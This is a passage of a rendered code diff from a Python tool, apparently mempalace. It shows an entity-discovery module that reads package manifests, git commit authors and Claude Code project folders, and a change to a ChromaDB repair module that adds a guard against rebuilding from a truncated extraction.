# ==================== MANIFEST PARSING ====================
|
||||
|
||||
|
||||
def _parse_package_json(path: Path) -> Optional[str]:
|
||||
try:
|
||||
data = json.loads(path.read_text(encoding="utf-8", errors="replace"))
|
||||
except (json.JSONDecodeError, OSError):
|
||||
return None
|
||||
name = data.get("name")
|
||||
return name if isinstance(name, str) and name else None
|
||||
|
||||
|
||||
def _parse_toml(path: Path) -> dict:
|
||||
if tomllib is None:
|
||||
return {}
|
||||
try:
|
||||
with open(path, "rb") as f:
|
||||
return tomllib.load(f)
|
||||
except (OSError, tomllib.TOMLDecodeError):
|
||||
return {}
|
||||
|
||||
|
||||
def _parse_pyproject(path: Path) -> Optional[str]:
|
||||
data = _parse_toml(path)
|
||||
name = data.get("project", {}).get("name")
|
||||
if isinstance(name, str) and name:
|
||||
return name
|
||||
name = data.get("tool", {}).get("poetry", {}).get("name")
|
||||
return name if isinstance(name, str) and name else None
|
||||
|
||||
|
||||
def _parse_cargo(path: Path) -> Optional[str]:
|
||||
data = _parse_toml(path)
|
||||
name = data.get("package", {}).get("name")
|
||||
return name if isinstance(name, str) and name else None
|
||||
|
||||
|
||||
def _parse_gomod(path: Path) -> Optional[str]:
|
||||
try:
|
||||
for line in path.read_text(encoding="utf-8", errors="replace").splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith("module "):
|
||||
mod = line.split(None, 1)[1].strip()
|
||||
return mod.split("/")[-1] or None
|
||||
except OSError:
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
MANIFEST_PRIORITY = {
|
||||
"pyproject.toml": 0,
|
||||
"package.json": 1,
|
||||
"Cargo.toml": 2,
|
||||
"go.mod": 3,
|
||||
}
|
||||
# Sentinel so unknown manifests always sort after the known manifest types above.
|
||||
UNKNOWN_MANIFEST_PRIORITY = max(MANIFEST_PRIORITY.values()) + 1
|
||||
MANIFEST_PARSERS = {
|
||||
"package.json": _parse_package_json,
|
||||
"pyproject.toml": _parse_pyproject,
|
||||
"Cargo.toml": _parse_cargo,
|
||||
"go.mod": _parse_gomod,
|
||||
}
|
||||
|
||||
|
||||
# ==================== GIT HELPERS ====================
|
||||
|
||||
|
||||
def _run_git(cwd: Path, *args: str, timeout: int = GIT_TIMEOUT) -> str:
|
||||
try:
|
||||
r = subprocess.run(
|
||||
["git", "-C", str(cwd), *args],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=timeout,
|
||||
check=False,
|
||||
)
|
||||
return r.stdout if r.returncode == 0 else ""
|
||||
except (OSError, subprocess.SubprocessError):
|
||||
return ""
|
||||
|
||||
|
||||
def _git_user_identity(repo: Path) -> tuple[str, str]:
|
||||
"""Return (name, email) for this repo, falling back to global config."""
|
||||
name = _run_git(repo, "config", "user.name", timeout=2).strip()
|
||||
email = _run_git(repo, "config", "user.email", timeout=2).strip()
|
||||
return name, email
|
||||
|
||||
|
||||
def _global_git_identity() -> tuple[str, str]:
|
||||
try:
|
||||
n = subprocess.run(
|
||||
["git", "config", "--global", "user.name"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=2,
|
||||
check=False,
|
||||
).stdout.strip()
|
||||
e = subprocess.run(
|
||||
["git", "config", "--global", "user.email"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=2,
|
||||
check=False,
|
||||
).stdout.strip()
|
||||
return n, e
|
||||
except (OSError, subprocess.SubprocessError):
|
||||
return "", ""
|
||||
|
||||
|
||||
def _git_authors(repo: Path) -> list[tuple[str, str]]:
|
||||
out = _run_git(
|
||||
repo,
|
||||
"log",
|
||||
f"--max-count={MAX_COMMITS_PER_REPO}",
|
||||
"--format=%aN|%aE",
|
||||
)
|
||||
result = []
|
||||
for line in out.splitlines():
|
||||
if "|" in line:
|
||||
name, email = line.split("|", 1)
|
||||
result.append((name.strip(), email.strip()))
|
||||
return result
|
||||
|
||||
|
||||
# ==================== BOT / NAME FILTERING ====================
|
||||
|
||||
|
||||
_BOT_NAME_PATTERNS = [
|
||||
r"\[bot\]",
|
||||
r"^dependabot",
|
||||
r"^renovate",
|
||||
r"^github-actions",
|
||||
r"^actions-user",
|
||||
r"-bot$",
|
||||
r"\bbot$", # catches "PR Bot", "Release Bot", etc. Not "robot" (no \b)
|
||||
r"^bot-",
|
||||
r"^snyk",
|
||||
r"^greenkeeper",
|
||||
r"^semantic-release",
|
||||
r"^allcontributors",
|
||||
r"-autoroll$",
|
||||
r"^auto-format",
|
||||
r"^pre-commit-ci",
|
||||
]
|
||||
_BOT_EMAIL_PATTERNS = [
|
||||
# `@users.noreply.github.com` is GitHub's privacy-protected human email —
|
||||
# do NOT filter it. Real bots identify themselves via the display name
|
||||
# (usually containing "[bot]"), which is caught by _BOT_NAME_PATTERNS.
|
||||
r"bot@",
|
||||
r"-bot@",
|
||||
r"\[bot\]@",
|
||||
]
|
||||
|
||||
_BOT_RE_NAMES = [re.compile(p) for p in _BOT_NAME_PATTERNS]
|
||||
_BOT_RE_EMAILS = [re.compile(p) for p in _BOT_EMAIL_PATTERNS]
|
||||
|
||||
|
||||
def _is_bot(name: str, email: str) -> bool:
|
||||
ln, le = name.lower(), email.lower()
|
||||
return any(rx.search(ln) for rx in _BOT_RE_NAMES) or any(rx.search(le) for rx in _BOT_RE_EMAILS)
|
||||
|
||||
|
||||
def _looks_like_real_name(name: str) -> bool:
|
||||
"""Heuristic: a human's name has a space and at least two title-cased parts.
|
||||
|
||||
Filters out handles (lowercase, digits, one-token usernames).
|
||||
"""
|
||||
if not name or " " not in name:
|
||||
return False
|
||||
parts = name.split()
|
||||
if len(parts) < 2:
|
||||
return False
|
||||
# First and last parts must start with an uppercase letter
|
||||
return parts[0][:1].isupper() and parts[-1][:1].isupper()
|
||||
|
||||
|
||||
# ==================== DIRECTORY WALK ====================
|
||||
|
||||
|
||||
def _walk(root: Path, max_depth: int = MAX_DEPTH):
|
||||
for dirpath, dirs, files in os.walk(root):
|
||||
dirs[:] = [d for d in dirs if d not in SKIP_DIRS and not d.startswith(".")]
|
||||
rel = Path(dirpath).relative_to(root)
|
||||
depth = 0 if rel == Path(".") else len(rel.parts)
|
||||
if depth > max_depth:
|
||||
dirs.clear()
|
||||
continue
|
||||
yield Path(dirpath), dirs, files
|
||||
|
||||
|
||||
def _has_git_marker(path: Path) -> bool:
|
||||
git_path = path / ".git"
|
||||
return git_path.is_dir() or git_path.is_file()
|
||||
|
||||
|
||||
def _manifest_sort_key(entry: tuple[str, str, Path], repo_root: Path) -> tuple[int, int, str]:
|
||||
"""Sort manifests by shallowest path first, then known manifest priority,
|
||||
then lexicographic path for deterministic tie-breaking.
|
||||
"""
|
||||
manifest_file, _project_name, manifest_dir = entry
|
||||
try:
|
||||
rel = manifest_dir.relative_to(repo_root)
|
||||
depth = len(rel.parts)
|
||||
rel_str = rel.as_posix()
|
||||
except ValueError:
|
||||
depth = MAX_DEPTH + 1
|
||||
rel_str = manifest_dir.as_posix()
|
||||
return (depth, MANIFEST_PRIORITY.get(manifest_file, UNKNOWN_MANIFEST_PRIORITY), rel_str)
|
||||
|
||||
|
||||
def find_git_repos(root: Path, max_depth: int = MAX_DEPTH) -> list[Path]:
|
||||
"""Return git repo roots under `root` (including root itself if it's a repo)."""
|
||||
root = root.resolve()
|
||||
repos: list[Path] = []
|
||||
if _has_git_marker(root):
|
||||
# Root is a repo — still walk for nested repos (submodules, etc.)
|
||||
repos.append(root)
|
||||
for dirpath, dirs, _ in _walk(root, max_depth):
|
||||
if dirpath == root:
|
||||
continue
|
||||
if _has_git_marker(dirpath):
|
||||
repos.append(dirpath)
|
||||
dirs.clear() # don't descend into this repo's contents from here
|
||||
return repos
|
||||
|
||||
|
||||
def _collect_manifest_names(repo_root: Path) -> list[tuple[str, str, Path]]:
|
||||
"""Return (manifest_filename, project_name, dirpath) within a repo.
|
||||
|
||||
Does not descend into nested git repos.
|
||||
"""
|
||||
found: list[tuple[str, str, Path]] = []
|
||||
for dirpath, dirs, files in _walk(repo_root):
|
||||
if dirpath != repo_root and _has_git_marker(dirpath):
|
||||
dirs.clear()
|
||||
continue
|
||||
for fname in files:
|
||||
parser = MANIFEST_PARSERS.get(fname)
|
||||
if not parser:
|
||||
continue
|
||||
name = parser(dirpath / fname)
|
||||
if name:
|
||||
found.append((fname, name, dirpath))
|
||||
return sorted(found, key=lambda entry: _manifest_sort_key(entry, repo_root))
|
||||
|
||||
|
||||
# ==================== MAIN SCAN ====================
|
||||
|
||||
|
||||
class _UnionFind:
|
||||
"""Minimal union-find for (name, email) identity resolution."""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self.parent: dict = {}
|
||||
|
||||
def find(self, x):
|
||||
if x not in self.parent:
|
||||
self.parent[x] = x
|
||||
return x
|
||||
root = x
|
||||
while self.parent[root] != root:
|
||||
root = self.parent[root]
|
||||
while self.parent[x] != root:
|
||||
self.parent[x], x = root, self.parent[x]
|
||||
return root
|
||||
|
||||
def union(self, a, b) -> None:
|
||||
ra, rb = self.find(a), self.find(b)
|
||||
if ra != rb:
|
||||
self.parent[ra] = rb
|
||||
|
||||
|
||||
def _dedupe_people(
|
||||
all_commits: list[tuple[str, str, str]],
|
||||
) -> dict[str, PersonInfo]:
|
||||
"""Group commits by identity. Two commits are the same person if they
|
||||
share a name OR an email. Display name = most frequent non-bot variant.
|
||||
|
||||
``all_commits`` is a list of (name, email, repo_str) triples from every repo.
|
||||
"""
|
||||
uf = _UnionFind()
|
||||
for name, email, _repo in all_commits:
|
||||
uf.union(("name", name), ("email", email) if email else ("name", name))
|
||||
|
||||
# Aggregate by component root
|
||||
component_commits: dict = {}
|
||||
for name, email, repo in all_commits:
|
||||
key = uf.find(("name", name))
|
||||
entry = component_commits.setdefault(
|
||||
key, {"name_counts": {}, "emails": set(), "repos": set(), "total": 0}
|
||||
)
|
||||
entry["name_counts"][name] = entry["name_counts"].get(name, 0) + 1
|
||||
if email:
|
||||
entry["emails"].add(email)
|
||||
entry["repos"].add(repo)
|
||||
entry["total"] += 1
|
||||
|
||||
# Pick display name per component: the most-frequent variant that looks
|
||||
# like a real name; fall back to most-frequent overall.
|
||||
people: dict[str, PersonInfo] = {}
|
||||
for _key, entry in component_commits.items():
|
||||
candidates = sorted(entry["name_counts"].items(), key=lambda x: -x[1])
|
||||
display = next(
|
||||
(n for n, _ in candidates if _looks_like_real_name(n)),
|
||||
candidates[0][0],
|
||||
)
|
||||
if not _looks_like_real_name(display):
|
||||
continue # Skip handles and single-token names
|
||||
# If we already have this display (rare — distinct components with the
|
||||
# same chosen display), merge into the existing entry.
|
||||
existing = people.get(display)
|
||||
if existing:
|
||||
existing.total_commits += entry["total"]
|
||||
existing.emails.update(entry["emails"])
|
||||
existing.repos.update(entry["repos"])
|
||||
else:
|
||||
people[display] = PersonInfo(
|
||||
name=display,
|
||||
total_commits=entry["total"],
|
||||
emails=set(entry["emails"]),
|
||||
repos=set(entry["repos"]),
|
||||
)
|
||||
return people
|
||||
|
||||
|
||||
def scan(root: str | os.PathLike) -> tuple[list[ProjectInfo], list[PersonInfo]]:
|
||||
"""Scan `root` for projects and people. Returns (projects, people) sorted."""
|
||||
root_path = Path(root).expanduser().resolve()
|
||||
if not root_path.is_dir():
|
||||
return [], []
|
||||
|
||||
repos = find_git_repos(root_path)
|
||||
|
||||
# Identify current user from first repo's git config, fall back to global
|
||||
me_name, me_email = "", ""
|
||||
if repos:
|
||||
me_name, me_email = _git_user_identity(repos[0])
|
||||
if not me_name and not me_email:
|
||||
me_name, me_email = _global_git_identity()
|
||||
|
||||
projects: dict[str, ProjectInfo] = {}
|
||||
all_commits: list[tuple[str, str, str]] = []
|
||||
|
||||
for repo in repos:
|
||||
manifests = _collect_manifest_names(repo)
|
||||
if manifests:
|
||||
manifest_file, proj_name, _ = manifests[0]
|
||||
else:
|
||||
manifest_file, proj_name = None, repo.name
|
||||
|
||||
authors = _git_authors(repo)
|
||||
non_bot_authors = [(name, email) for name, email in authors if not _is_bot(name, email)]
|
||||
total_commits = len(non_bot_authors)
|
||||
user_commits = 0
|
||||
author_counts: dict[str, int] = {}
|
||||
for name, email in non_bot_authors:
|
||||
author_counts[name] = author_counts.get(name, 0) + 1
|
||||
all_commits.append((name, email, str(repo)))
|
||||
if (me_name and name == me_name) or (me_email and email == me_email):
|
||||
user_commits += 1
|
||||
|
||||
is_mine = False
|
||||
if user_commits > 0:
|
||||
sorted_authors = sorted(author_counts.items(), key=lambda x: -x[1])
|
||||
top5 = {n for n, _ in sorted_authors[:5]}
|
||||
if me_name and me_name in top5:
|
||||
is_mine = True
|
||||
elif total_commits and user_commits / total_commits >= 0.10:
|
||||
is_mine = True
|
||||
elif user_commits >= 20:
|
||||
is_mine = True
|
||||
|
||||
proj = ProjectInfo(
|
||||
name=proj_name,
|
||||
repo_root=repo,
|
||||
manifest=manifest_file,
|
||||
has_git=True,
|
||||
total_commits=total_commits,
|
||||
user_commits=user_commits,
|
||||
is_mine=is_mine,
|
||||
)
|
||||
existing = projects.get(proj_name)
|
||||
if existing is None or proj.user_commits > existing.user_commits:
|
||||
projects[proj_name] = proj
|
||||
|
||||
people = _dedupe_people(all_commits)
|
||||
|
||||
# Handle case: root has manifests but no git repo anywhere
|
||||
if not repos:
|
||||
manifests = _collect_manifest_names(root_path)
|
||||
for manifest_file, proj_name, _dirpath in manifests:
|
||||
if proj_name in projects:
|
||||
continue
|
||||
projects[proj_name] = ProjectInfo(
|
||||
name=proj_name,
|
||||
repo_root=root_path,
|
||||
manifest=manifest_file,
|
||||
has_git=False,
|
||||
)
|
||||
|
||||
project_list = sorted(
|
||||
projects.values(),
|
||||
key=lambda p: (not p.is_mine, -p.user_commits, -p.total_commits, p.name),
|
||||
)
|
||||
people_list = sorted(people.values(), key=lambda p: -p.total_commits)
|
||||
|
||||
return project_list, people_list
|
||||
|
||||
|
||||
# ==================== ADAPTER ====================
|
||||
|
||||
|
||||
def to_detected_dict(
|
||||
projects: list[ProjectInfo],
|
||||
people: list[PersonInfo],
|
||||
project_cap: int = 15,
|
||||
people_cap: int = 15,
|
||||
) -> dict:
|
||||
"""Convert scan results into the dict shape produced by entity_detector.detect_entities."""
|
||||
proj_entries = [
|
||||
{
|
||||
"name": p.name,
|
||||
"type": "project",
|
||||
"confidence": round(p.confidence, 2),
|
||||
"frequency": p.user_commits or p.total_commits,
|
||||
"signals": [p.to_signal()],
|
||||
}
|
||||
for p in projects[:project_cap]
|
||||
]
|
||||
people_entries = [
|
||||
{
|
||||
"name": p.name,
|
||||
"type": "person",
|
||||
"confidence": round(p.confidence, 2),
|
||||
"frequency": p.total_commits,
|
||||
"signals": [p.to_signal()],
|
||||
}
|
||||
for p in people[:people_cap]
|
||||
]
|
||||
return {
|
||||
"people": people_entries,
|
||||
"projects": proj_entries,
|
||||
"topics": [],
|
||||
"uncertain": [],
|
||||
}
|
||||
|
||||
|
||||
# ==================== MERGE WITH REGEX DETECTOR ====================
|
||||
|
||||
|
||||
def _merge_detected(primary: dict, secondary: dict, drop_secondary_uncertain: bool = False) -> dict:
|
||||
"""Merge two detected dicts. Primary entries win on name conflict.
|
||||
|
||||
Dedup is case-insensitive so "mempalace" (manifest name) absorbs "MemPalace"
|
||||
(docs/prose reference) instead of surfacing both.
|
||||
|
||||
If ``drop_secondary_uncertain`` is True, the secondary's uncertain bucket is
|
||||
dropped entirely — useful when the primary signal is strong (real repo
|
||||
found) and we'd rather not ask the user to adjudicate prose-regex noise.
|
||||
"""
|
||||
seen = {e["name"].lower() for cat in primary.values() for e in cat}
|
||||
merged = {k: list(v) for k, v in primary.items()}
|
||||
for cat_key in ("people", "projects", "topics", "uncertain"):
|
||||
if cat_key == "uncertain" and drop_secondary_uncertain:
|
||||
continue
|
||||
for e in secondary.get(cat_key, []):
|
||||
if e["name"].lower() in seen:
|
||||
continue
|
||||
merged.setdefault(cat_key, []).append(e)
|
||||
seen.add(e["name"].lower())
|
||||
return merged
|
||||
|
||||
|
||||
def discover_entities(
|
||||
project_dir: str | os.PathLike,
|
||||
languages: tuple = ("en",),
|
||||
prose_file_cap: int = 10,
|
||||
project_cap: int = 15,
|
||||
people_cap: int = 15,
|
||||
llm_provider: object = None,
|
||||
show_progress: bool = True,
|
||||
corpus_origin: dict | None = None,
|
||||
) -> dict:
|
||||
"""Top-level entity discovery: real signals first, prose detection second.
|
||||
|
||||
Returns the same dict shape as ``entity_detector.detect_entities`` so it
|
||||
plugs into ``confirm_entities`` unchanged.
|
||||
|
||||
Order of signal preference:
|
||||
1. Package manifests (package.json, pyproject.toml, Cargo.toml, go.mod)
|
||||
→ canonical project names
|
||||
2. Git commit authors → real people with real commit counts
|
||||
3. Claude Code conversation dirs (~/.claude/projects/) → per-session
|
||||
project names (pulled from each session's ``cwd`` metadata)
|
||||
4. Regex entity detection on prose files → supplementary names only
|
||||
mentioned in docs/notes (not code)
|
||||
5. Optional LLM refinement pass — reclassifies ambiguous candidates
|
||||
using the caller-supplied provider
|
||||
6. Optional corpus-origin persona filter — when the corpus is
|
||||
identified as AI-dialogue, candidates whose name matches an
|
||||
agent_persona_name are moved to an ``agent_personas`` bucket
|
||||
instead of being reported as people.
|
||||
|
||||
Passing ``llm_provider`` enables phase-2 refinement. The caller is
|
||||
responsible for constructing the provider (``llm_client.get_provider``)
|
||||
and confirming availability. Refinement is blocking-interactive:
|
||||
progress prints to stderr; Ctrl-C returns partial results.
|
||||
|
||||
Passing ``corpus_origin`` enables corpus-origin persona reclassification.
|
||||
The expected shape is the dict written by ``mempalace init`` to
|
||||
``<palace>/.mempalace/origin.json`` (see ``corpus_origin.py``).
|
||||
"""
|
||||
projects, people = scan(project_dir)
|
||||
|
||||
# If the target is a Claude Code conversations root, extract per-project
|
||||
# entries from there too. Same ProjectInfo shape, so dedup logic works.
|
||||
from mempalace.convo_scanner import is_claude_projects_root, scan_claude_projects
|
||||
|
||||
root_path = Path(project_dir).expanduser().resolve()
|
||||
if is_claude_projects_root(root_path):
|
||||
convo_projects = scan_claude_projects(root_path)
|
||||
# Dedup by name against the git-manifest list, preferring entries
|
||||
# with more user_commits as signal strength. Keyed case-insensitively
|
||||
# so a `pyproject.toml` name like `mempalace` and a Claude Code
|
||||
# `cwd` variant like `MemPalace` collapse into one entry — matches
|
||||
# the case-insensitive dedup used in `_merge_detected` and
|
||||
# `miner.add_to_known_entities`.
|
||||
by_name: dict[str, ProjectInfo] = {p.name.lower(): p for p in projects}
|
||||
for cp in convo_projects:
|
||||
key = cp.name.lower()
|
||||
existing = by_name.get(key)
|
||||
if existing is None or cp.user_commits > existing.user_commits:
|
||||
by_name[key] = cp
|
||||
projects = sorted(
|
||||
by_name.values(),
|
||||
key=lambda p: (not p.is_mine, -p.user_commits, -p.total_commits, p.name),
|
||||
)
|
||||
|
||||
real_signal = to_detected_dict(projects, people, project_cap=project_cap, people_cap=people_cap)
|
||||
|
||||
# Secondary pass: prose-only extraction catches names mentioned in docs
|
||||
# that never made a commit (e.g. a stakeholder or family member in notes).
|
||||
from mempalace.entity_detector import detect_entities, scan_for_detection
|
||||
|
||||
prose_files = scan_for_detection(str(project_dir), max_files=prose_file_cap)
|
||||
prose_detected = (
|
||||
detect_entities(prose_files, languages=languages)
|
||||
if prose_files
|
||||
else {"people": [], "projects": [], "topics": [], "uncertain": []}
|
||||
)
|
||||
|
||||
# Without LLM refinement, suppress regex "uncertain" noise when real
|
||||
# manifest/git signal exists. With LLM refinement enabled, keep those
|
||||
# candidates so the model can promote real entities or drop common words.
|
||||
has_real_signal = bool(projects) or bool(people)
|
||||
merged = _merge_detected(
|
||||
real_signal,
|
||||
prose_detected,
|
||||
drop_secondary_uncertain=has_real_signal and llm_provider is None,
|
||||
)
|
||||
|
||||
# Optional LLM refinement pass (when an llm_provider was supplied).
|
||||
if llm_provider is not None:
|
||||
from mempalace.llm_refine import collect_corpus_text, refine_entities
|
||||
|
||||
corpus = collect_corpus_text(str(project_dir))
|
||||
result = refine_entities(
|
||||
merged,
|
||||
corpus,
|
||||
llm_provider,
|
||||
show_progress=show_progress,
|
||||
allow_project_promotions=not has_real_signal,
|
||||
corpus_origin=corpus_origin,
|
||||
)
|
||||
if show_progress:
|
||||
status_bits = []
|
||||
if result.cancelled:
|
||||
status_bits.append("cancelled")
|
||||
if result.reclassified:
|
||||
status_bits.append(f"reclassified {result.reclassified}")
|
||||
if result.dropped:
|
||||
status_bits.append(f"dropped {result.dropped}")
|
||||
if result.errors:
|
||||
status_bits.append(f"{len(result.errors)} batch error(s)")
|
||||
if status_bits:
|
||||
import sys as _sys
|
||||
|
||||
print(f" LLM refine: {', '.join(status_bits)}", file=_sys.stderr)
|
||||
merged = result.merged
|
||||
|
||||
# Corpus-origin persona reclassification — applied last so it sweeps
|
||||
# candidates contributed by every upstream source (manifests, git authors,
|
||||
# prose, LLM refinement). Idempotent: no corpus_origin → exact v3.3.3 shape.
|
||||
if corpus_origin is not None:
|
||||
from mempalace.entity_detector import _apply_corpus_origin
|
||||
|
||||
merged = _apply_corpus_origin(merged, corpus_origin)
|
||||
|
||||
return merged
|
||||
|
||||
|
||||
# ==================== CLI ====================
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else "."
|
||||
projs, ppl = scan(target)
|
||||
print(f"=== PROJECTS ({len(projs)}) ===")
|
||||
for p in projs[:30]:
|
||||
mark = "★" if p.is_mine else " "
|
||||
print(f" {mark} {p.name:35} conf={p.confidence:.2f} {p.to_signal()}")
|
||||
print()
|
||||
print(f"=== PEOPLE ({len(ppl)}) ===")
|
||||
for p in ppl[:30]:
|
||||
print(f" {p.name:30} conf={p.confidence:.2f} {p.to_signal()}")
|
||||
+484
-16
@@ -6,8 +6,9 @@ When ChromaDB's HNSW index accumulates duplicate entries (from repeated
|
||||
add() calls with the same ID), link_lists.bin can grow unbounded —
|
||||
terabytes on large palaces — eventually causing segfaults.
|
||||
|
||||
This module provides three operations:
|
||||
This module provides four operations:
|
||||
|
||||
status — compare sqlite vs HNSW element counts (read-only health check)
|
||||
scan — find every corrupt/unfetchable ID in the palace
|
||||
prune — delete only the corrupt IDs (surgical)
|
||||
rebuild — extract all drawers, delete the collection, recreate with
|
||||
@@ -17,6 +18,7 @@ The rebuild backs up ONLY chroma.sqlite3 (the source of truth), not the
|
||||
full palace directory — so it works even when link_lists.bin is bloated.
|
||||
|
||||
Usage (standalone):
|
||||
python -m mempalace.repair status
|
||||
python -m mempalace.repair scan [--wing X]
|
||||
python -m mempalace.repair prune --confirm
|
||||
python -m mempalace.repair rebuild
|
||||
@@ -30,9 +32,12 @@ Usage (from CLI):
|
||||
import argparse
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import time
|
||||
from datetime import datetime
|
||||
from typing import Optional
|
||||
|
||||
from .backends.chroma import ChromaBackend
|
||||
from .backends.chroma import ChromaBackend, hnsw_capacity_status
|
||||
|
||||
|
||||
COLLECTION_NAME = "mempalace_drawers"
|
||||
@@ -201,13 +206,143 @@ def prune_corrupt(palace_path=None, confirm=False):
|
||||
print(f" Collection size: {before:,} → {after:,}")
|
||||
|
||||
|
||||
def rebuild_index(palace_path=None):
|
||||
# ChromaDB's ``collection.get()`` enforces an internal default ``limit``
|
||||
# of 10 000 rows when the caller does not pass one. We pass an explicit
|
||||
# ``limit=batch_size`` below, but the underlying segment also caps reads
|
||||
# during stale/quarantined-HNSW recovery flows: extraction silently stops
|
||||
# at exactly 10 000 even on palaces with many more rows. Refusing to
|
||||
# overwrite when this exact value comes back is the simplest signal we
|
||||
# can detect without depending on chromadb internals.
|
||||
CHROMADB_DEFAULT_GET_LIMIT = 10_000
|
||||
|
||||
|
||||
class TruncationDetected(Exception):
|
||||
"""Raised by :func:`check_extraction_safety` when extraction looks short.
|
||||
|
||||
Carries the human-readable abort message so callers (CLI ``cmd_repair``,
|
||||
``rebuild_index``) can print and exit consistently without re-deriving
|
||||
the wording.
|
||||
"""
|
||||
|
||||
def __init__(self, message: str, sqlite_count: "int | None", extracted: int):
|
||||
super().__init__(message)
|
||||
self.message = message
|
||||
self.sqlite_count = sqlite_count
|
||||
self.extracted = extracted
|
||||
|
||||
|
||||
def check_extraction_safety(
|
||||
palace_path: str, extracted: int, confirm_truncation_ok: bool = False
|
||||
) -> None:
|
||||
"""Cross-check that ``extracted`` matches the SQLite ground truth.
|
||||
|
||||
Two signals trip the guard:
|
||||
|
||||
1. **Strong** — ``chroma.sqlite3`` reports more drawers than were
|
||||
extracted. This is the user-reported #1208 case: 67 580 on disk,
|
||||
10 000 came back through the chromadb collection layer, repair
|
||||
would have destroyed the difference.
|
||||
2. **Weak** — extracted count equals exactly ``CHROMADB_DEFAULT_GET_LIMIT``
|
||||
AND the SQLite check couldn't run (schema drift, locked file).
|
||||
Hitting the chromadb default ``get()`` cap exactly is suspicious
|
||||
enough to refuse without explicit acknowledgement.
|
||||
|
||||
Raises :class:`TruncationDetected` with a printable message when the
|
||||
guard fires. Does nothing on safe extractions or when
|
||||
``confirm_truncation_ok`` is set.
|
||||
"""
|
||||
if confirm_truncation_ok:
|
||||
return
|
||||
|
||||
sqlite_count = sqlite_drawer_count(palace_path)
|
||||
cap_signal = extracted == CHROMADB_DEFAULT_GET_LIMIT
|
||||
|
||||
if sqlite_count is not None and sqlite_count > extracted:
|
||||
loss = sqlite_count - extracted
|
||||
pct = 100 * loss / sqlite_count
|
||||
message = (
|
||||
f"\n ABORT: chroma.sqlite3 reports {sqlite_count:,} drawers but only {extracted:,}\n"
|
||||
" came back through the chromadb collection layer. The segment metadata is\n"
|
||||
" stale (often after manual HNSW quarantine) — proceeding would silently\n"
|
||||
f" destroy {loss:,} drawers (~{pct:.0f}%).\n"
|
||||
"\n"
|
||||
" Recovery options:\n"
|
||||
" 1. Restore from your most recent palace backup, then re-mine.\n"
|
||||
" 2. Direct-extract from chroma.sqlite3 (rows are still on disk) and\n"
|
||||
" rebuild the palace from source files.\n"
|
||||
" 3. If you have independently confirmed the palace really contains only\n"
|
||||
f" {extracted:,} drawers, re-run with --confirm-truncation-ok.\n"
|
||||
)
|
||||
raise TruncationDetected(message, sqlite_count, extracted)
|
||||
|
||||
if cap_signal and sqlite_count is None:
|
||||
message = (
|
||||
f"\n ABORT: extracted exactly {CHROMADB_DEFAULT_GET_LIMIT:,} drawers, which matches\n"
|
||||
" ChromaDB's internal default get() limit. The on-disk SQLite count couldn't\n"
|
||||
" be cross-checked from this Python context, so we can't tell whether the\n"
|
||||
f" palace genuinely holds {CHROMADB_DEFAULT_GET_LIMIT:,} rows or whether extraction was\n"
|
||||
" silently capped. Refusing to overwrite the palace.\n"
|
||||
"\n"
|
||||
" If you have independently confirmed (e.g. via direct sqlite3 query) that\n"
|
||||
f" the palace really contains exactly {CHROMADB_DEFAULT_GET_LIMIT:,} drawers, re-run with\n"
|
||||
" --confirm-truncation-ok.\n"
|
||||
)
|
||||
raise TruncationDetected(message, sqlite_count, extracted)
|
||||
|
||||
|
||||
def sqlite_drawer_count(palace_path: str) -> "int | None":
|
||||
"""Count rows in ``chroma.sqlite3.embeddings`` for the drawers collection.
|
||||
|
||||
Used as an independent ground-truth check against the chromadb
|
||||
collection-layer ``count()`` / ``get()``: when the on-disk SQLite
|
||||
row count exceeds the extraction count, the segment metadata is
|
||||
stale and repair would destroy the difference.
|
||||
|
||||
Returns ``None`` when the schema isn't readable (chromadb version
|
||||
drift, missing tables, locked file). Callers treat ``None`` as
|
||||
"unknown" and fall back to the cap-detection check.
|
||||
"""
|
||||
sqlite_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
if not os.path.exists(sqlite_path):
|
||||
return None
|
||||
try:
|
||||
import sqlite3
|
||||
|
||||
conn = sqlite3.connect(f"file:{sqlite_path}?mode=ro", uri=True)
|
||||
try:
|
||||
row = conn.execute(
|
||||
"""
|
||||
SELECT COUNT(*)
|
||||
FROM embeddings e
|
||||
JOIN segments s ON e.segment_id = s.id
|
||||
JOIN collections c ON s.collection = c.id
|
||||
WHERE c.name = ?
|
||||
""",
|
||||
(COLLECTION_NAME,),
|
||||
).fetchone()
|
||||
return int(row[0]) if row and row[0] is not None else None
|
||||
finally:
|
||||
conn.close()
|
||||
except Exception:
|
||||
# chromadb schema differs by version (segments / collections column
|
||||
# names occasionally rename). Silent fallback is correct here —
|
||||
# the cap-detection check still catches the user-reported case.
|
||||
return None
|
||||
|
||||
|
||||
def rebuild_index(palace_path=None, confirm_truncation_ok: bool = False):
|
||||
"""Rebuild the HNSW index from scratch.
|
||||
|
||||
1. Extract all drawers via ChromaDB get()
|
||||
2. Back up ONLY chroma.sqlite3 (not the bloated HNSW files)
|
||||
3. Delete and recreate the collection with hnsw:space=cosine
|
||||
4. Upsert all drawers back
|
||||
2. Cross-check against the SQLite ground truth (#1208 guard)
|
||||
3. Back up ONLY chroma.sqlite3 (not the bloated HNSW files)
|
||||
4. Delete and recreate the collection with hnsw:space=cosine
|
||||
5. Upsert all drawers back
|
||||
|
||||
``confirm_truncation_ok`` overrides the safety guard from step 2.
|
||||
Set to ``True`` only when you have independently verified that the
|
||||
palace genuinely contains exactly the extracted number of drawers
|
||||
(typically only a concern for palaces sized at exactly 10 000 rows).
|
||||
"""
|
||||
palace_path = palace_path or _get_palace_path()
|
||||
|
||||
@@ -252,10 +387,20 @@ def rebuild_index(palace_path=None):
|
||||
offset += len(batch["ids"])
|
||||
print(f" Extracted {len(all_ids)} drawers")
|
||||
|
||||
# ── #1208 guard ──────────────────────────────────────────────────
|
||||
# Refuse to ``delete_collection`` + rebuild when extraction looks
|
||||
# short of the SQLite ground truth (or when extraction == chromadb
|
||||
# default get() cap and the SQLite check couldn't run).
|
||||
try:
|
||||
check_extraction_safety(palace_path, len(all_ids), confirm_truncation_ok)
|
